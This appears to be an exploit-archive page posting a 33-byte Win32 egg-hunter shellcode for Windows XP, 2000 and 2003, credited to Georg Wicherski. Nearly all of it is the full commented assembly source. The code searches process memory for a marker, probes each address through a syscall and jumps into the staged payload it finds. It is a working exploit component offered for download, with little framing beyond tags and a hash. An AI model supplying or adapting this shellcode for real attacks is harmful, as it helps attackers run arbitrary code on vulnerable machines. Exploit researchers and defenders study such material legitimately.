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Win32 Eggsearch Shellcode

Win32 Eggsearch Shellcode
Posted Mar 6, 2011
Authored by Georg Wicherski

33 bytes small Win32 egg searching shellcode that should work on all service packs of Microsoft Windows XP, 2k, and 2k3.

tags | exploit, shellcode
systems | windows, 32, xp
MD5 | a9524dd50a13031010fe4e9dca0ee7f8

Win32 Eggsearch Shellcode

Change Mirror Download
; win32 eggsearch shellcode, 33 bytes
; tested on windows xp sp2, should work on all service packs on win2k, win xp, win2k3
; (c) 2009 by Georg 'oxff' Wicherski

[bits 32]

marker equ 0x1f217767 ; 'gw!\x1f'

start:
xor edx, edx ; edx = 0, pointer to examined address

address_loop:
inc edx ; edx++, try next address

pagestart_check:
test dx, 0x0ffc ; are we within the first 4 bytes of a page?
jz address_loop ; if so, try next address as previous page might be unreadable
; and the cmp [edx-4], marker might result in a segmentation fault

access_check:
push edx ; save across syscall
push byte 8 ; eax = 8, syscall nr of AddAtomA
pop eax ; ^
int 0x2e ; fire syscall (eax = 8, edx = ptr)
cmp al, 0x05 ; is result 0xc0000005? (a bit sloppy)
pop edx ;

je address_loop ; jmp if result was 0xc0000005

egg_check:
cmp dword [edx-4], marker ; is our egg right before examined address?
jne address_loop ; if not, try next address

egg_execute:
inc ebx ; make sure, zf is not set
jmp edx ; we found our egg at [edx-4], so we can jmp to edx

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